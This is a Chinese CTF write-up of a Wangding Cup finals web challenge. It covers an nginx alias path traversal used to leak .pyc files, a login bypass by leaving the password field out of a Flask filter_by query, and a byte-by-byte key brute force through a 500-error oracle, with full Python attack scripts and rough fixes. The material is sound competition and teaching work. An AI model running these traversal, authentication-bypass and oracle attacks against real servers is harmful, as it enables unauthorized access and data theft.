碎碎念
本来没想着网鼎杯能进总决赛的,毕竟青龙组100+个队就给了12个晋级名额。结果 RHG 一开快手+强运+队友给力直接飞到前十躺进了总决赛,半决赛两个 pwn 防御也是水得不行,本想着逆向手进场观摩队友做题结果意外和 Photon 大哥合力把 pwn 基本 ak 了,只能说运气很好。
总决赛基本没有逆向手的题(共同防御那个java题出来的时候我精神状态不是很稳定,exp一直挂到了比赛结束),值得复盘的也就只有这个还挺有意思的web综合题了,我还是太菜了。
漏洞分析
题目镜像丢了,别问。
漏洞点1
登录进去是一个简单的登录框,试着打了两个单引号发现似乎没有 SQL 注入,Burp 一开先抓包再考虑别的。
突破口在 Response Header
里的 Server: Cpython3.5
,可以发现似乎是 python 的后端,应该是 Flask 框架, 试了一下没有模板注入的点,考虑__pycache__
泄漏,整了半天也没访问到pycache文件夹。根据资源请求随便试了一下/static
目录,发现可以访问。
理论上说 py 代码应该在static上级目录的某处,一通乱试发现/static../
路径可以访问上级目录,目录结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
| __pycache__
| __init__.cpython-35.pyc
| models.cpython-35.pyc
| main
| __pycache__
| __init__.cpython-35.pyc
| forms.cpython-35.pyc
| views.cpython-35.pyc
| __init__.py
| forms.py
| views.py
| static
| 不重要
| templates
| 不重要
| __init__.py
| models.py
| nginx.conf
|
查看nginx.conf
文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
#access_log /var/log/nginx/access.log;
#error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
gzip_disable "msie6";
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
limit_conn_zone $binary_remote_addr zone=conn:10m;
limit_req_zone $binary_remote_addr zone=allips:10m rate=2r/s;
server {
listen 80 default_server;
server_name localhost;
autoindex on;
location /static {
alias /secret/app/static/ ;
}
location ~* \.(py)$ {
deny all;
}
location ~* (cmdline|environ)$ {
deny all;
}
location / {
limit_conn conn 10;
proxy_pass http://localhost:8000;
proxy_set_header Host $host:$server_port;
proxy_redirect ~^http://127.0.0.1:8000(.*) http://127.0.0.1$1;
add_header Server Cpython3.5;
}
}
##
# Virtual Host Configs
##
}
|
发现py文件全都不能访问,漏洞应该是由alias /secret/app/static/ ;
引起的。
考虑从pycache中dump pyc字节码进行逆向。
其实打到这一步已经试了一个多小时,我要是有哪怕一点web安全经验我会是这个鸟样子?
漏洞点2
核心逻辑在views.py
,使用 uncompyle6 逆向结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
# views.py
from flask import render_template, redirect, request, url_for, flash, jsonify, current_app
from flask.ext.login import login_user, login_required, logout_user, current_user
from . import main
from werkzeug.security import generate_password_hash, check_password_hash
from .. import db
import string, random, os
from ..models import User, Post
import base64
@main.route('/login', methods=['GET'])
def login():
if current_user.is_authenticated:
return redirect(url_for('main.index'))
return render_template('login.html')
@main.route('/logout', methods=['GET'])
@login_required
def logout():
logout_user()
return redirect(url_for('.login'))
@main.route('/', methods=['GET', 'POST'])
@login_required
def index():
post = Post.query.filter_by(id=1).first()
return render_template('index.html', flag=post.enc_text)
@main.route('/api/login/', methods=['POST'])
def apiLogin():
req = request.get_json()
if not req:
return jsonify(result=False)
try:
user = User.query.filter_by(**req).first()
except Exception as e:
return jsonify(result=False)
else:
if not user:
return jsonify(result=False)
return jsonify(result=True)
@main.route('/api/check/', methods=['POST'])
def check():
post = Post.query.filter_by(id=1).first()
req = request.get_json()
if not req:
return jsonify(result=False)
else:
if req['key']:
enc_key, key = str(base64.b64decode(post.enc_key), encoding='utf-8'), req['key']
encoder = Encoder()
if len(enc_key) != len(key):
return jsonify(result=False)
for x, y in zip(enc_key, key):
if x != encoder.do_encrpt(y):
return jsonify(result=False)
encoder = Encoder(enc_key)
flag = ''
for i in str(base64.b64decode(post.enc_text), encoding='utf-8'):
flag += encoder.do_encrpt(i)
return jsonify(result=flag)
return jsonify(result=False)
class Encoder:
def __init__(self, crypt_key=None):
if crypt_key is None:
crypt_key = current_app.config['KEY']
self.stream = self.randomBox(self._init_box(crypt_key))
def do_encrpt(self, c):
return chr(ord(c) ^ next(self.stream))
def _init_box(self, crypt_key):
"""
初始化 置换盒
"""
Box = list(range(256))
key_length = len(crypt_key)
j = 0
for i in range(256):
index = ord(crypt_key[(i % key_length)])
j = (j + Box[i] + index) % 256
Box[i], Box[j] = Box[j], Box[i]
return Box
def randomBox(self, S):
"""
加密/解密
s : box
"""
i = 0
j = 0
while True:
i = i + 1 & 255
j = j + S[i] & 255
S[i], S[j] = S[j], S[i]
yield S[(S[i] + S[j] & 255)]
# okay decompiling views.cpython-35.pyc
|
model.py
也有一些用处
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
# model.py
from . import db
from flask.ext.login import UserMixin
from . import login_manager
from werkzeug.security import generate_password_hash, check_password_hash
from flask import current_app
class User(UserMixin, db.Model):
__tablename__ = 'user'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(64), unique=True, index=True)
password = db.Column(db.String(128))
def __repr__(self):
return '<User %s>' % self.username
class Post(db.Model):
__tablename__ = 'post'
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer)
enc_text = db.Column(db.Text)
enc_key = db.Column(db.Text)
def __repr__(self):
print('<Post %s>' % self.id)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
|
漏洞在登录验证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
@main.route('/api/login/', methods=['POST'])
def apiLogin():
req = request.get_json()
if not req:
return jsonify(result=False)
try:
user = User.query.filter_by(**req).first()
except Exception as e:
return jsonify(result=False)
else:
if not user:
return jsonify(result=False)
return jsonify(result=True)
|
登录验证接受一个数据包,直接将数据包对应的字段在数据库中查询,若能查询到对应的user
则返回登录成功。
正常发送数据包应该为:
1
2
3
4
|
{
"username":"admin",
"password":"xxxxxx"
}
|
此时若密码错误则无法登录,密码是否为空仅在前端判断,构造 payload 如下:
1
2
3
|
{
"username":"admin"
}
|
无 password 字段,则可以在数据库中查询到对应的用户,成功绕过登录验证,登录成功。
但是并没有什么卵用,我们打不到flag
。
漏洞点3
考虑打flag check
的API。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
@main.route('/api/check/', methods=['POST'])
def check():
post = Post.query.filter_by(id=1).first()
req = request.get_json()
if not req:
return jsonify(result=False)
else:
if req['key']:
enc_key, key = str(base64.b64decode(post.enc_key), encoding='utf-8'), req['key']
encoder = Encoder()
if len(enc_key) != len(key):
return jsonify(result=False)
for x, y in zip(enc_key, key):
if x != encoder.do_encrpt(y):
return jsonify(result=False)
encoder = Encoder(enc_key)
flag = ''
for i in str(base64.b64decode(post.enc_text), encoding='utf-8'):
flag += encoder.do_encrpt(i)
return jsonify(result=flag)
return jsonify(result=False)
|
Encoder
类是一个简单的RC4
,凭借我并不多的密码学知识我觉得这个RC4
是非常安全的,攻击面应该不在这里。
大致的逻辑是传入key
,使用RC4
检验key
,若等于在数据库中的密文则返回flag。
一开始考虑泄漏enc_key
,但是我并没有能够泄漏这个东西的web水平,或者说这个东西应该是安全的。
考虑仔细分析一下这个代码。
1
2
|
if len(enc_key) != len(key):
return jsonify(result=False)
|
首先是长度check。enc_key
应该是一个byte字符串,key
由我们自己传入,而python
的len()
函数不止对字符串有效,我们也可以传入一个list。
1
2
3
|
for x, y in zip(enc_key, key):
if x != encoder.do_encrpt(y):
return jsonify(result=False)
|
check逻辑。这个逻辑很奇怪,并不是把明文整个拿去加密,而是一个一个字符加密并比较,应该是需要one-by-one
爆破。
这里看了很久也没有想到怎么爆破,甚至写了一个侧信道的脚本(怎么想都不可行)。后来在人肉fuzz的时候发现如果传入的key
是一个int类型则会返回500内部错误。
这里的漏洞出在这里:
1
2
|
def do_encrpt(self, c):
return chr(ord(c) ^ next(self.stream))
|
数字没有ord(),在ord的时候会报错,这为我们提供了逐字节爆破的可能。
爆破长度
首先考虑过len(enc_key) == len(key)
的check。不难发现,若传入一个全数字的list,若长度错误则会返回{result: False}
,若长度正确则会进入check逻辑,对key[0]也就是第一个数字进行加密,导致异常得到500状态码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
import string
import json
url = "http://172.16.9.15:6081/api/check/"
header = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Content-Type': 'application/json',
'Origin': 'http://172.16.9.15:6081',
'Referer': 'http://172.16.9.15:6081/login',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
data = {
'key': []
}
for i in range(255):
data['key'].append(1)
resp = requests.post(url, headers = header, data = json.dumps(data))
if resp.content[0] != 123:
print(f"[+]length:", i+1)
break
|
得到长度为30。
爆破key
使用相同的逻辑,依次爆破key的每一位,并且在后续添加全数字,如果该位key正确则会继续加密后一位的数字导致500,否则返回{result: False}
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import requests
import string
import json
url = "http://172.16.9.15:6081/api/check/"
header = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Content-Type': 'application/json',
'Origin': 'http://172.16.9.15:6081',
'Referer': 'http://172.16.9.15:6081/login',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
data = {
'key': []
}
for i in range(255):
data['key'] = ['S', 'Q', 'D', '6', '8', 'u', 'i', 'y', 'o', '6', 'k', 'd', 'K', 'r', 'w', '9', 'm', 'd', '1', 'L', '3', 'n', 'J', '3', '1', 'E', 'x', '0', 'F']
#这里我来不及调了,直接手动一个一个往里面放的
j = len(data['key'])
data['key'].append(chr(i))
for i in range(30-j-1):
data['key'].append(1)
print(data['key'])
resp = requests.post(url, headers = header, data = json.dumps(data))
if resp.content[0] != 123:
break
|
最终在该环节关闭的5分钟前解出了该题flag。我要是会web我会是这个鸟样子?
漏洞修复
这里修了上面发现的3个洞,但是应该修错了或是有剩下的洞没有发现,次数用完了也没有防御成功。仅提供修复思路作为参考。
漏洞点1
修改nginx.conf
1
2
3
|
location /static {
deny all ;
}
|
漏洞点2
这个地方修得很丑陋,应该是完全修错了
加入字段判断
1
2
3
4
5
6
|
if req['id']:
return jsonify(result=False)
if not req['username']:
return jsonify(result=False)
if not req['password']:
return jsonify(result=False)
|
漏洞点3
直接用try:....except:...
框起来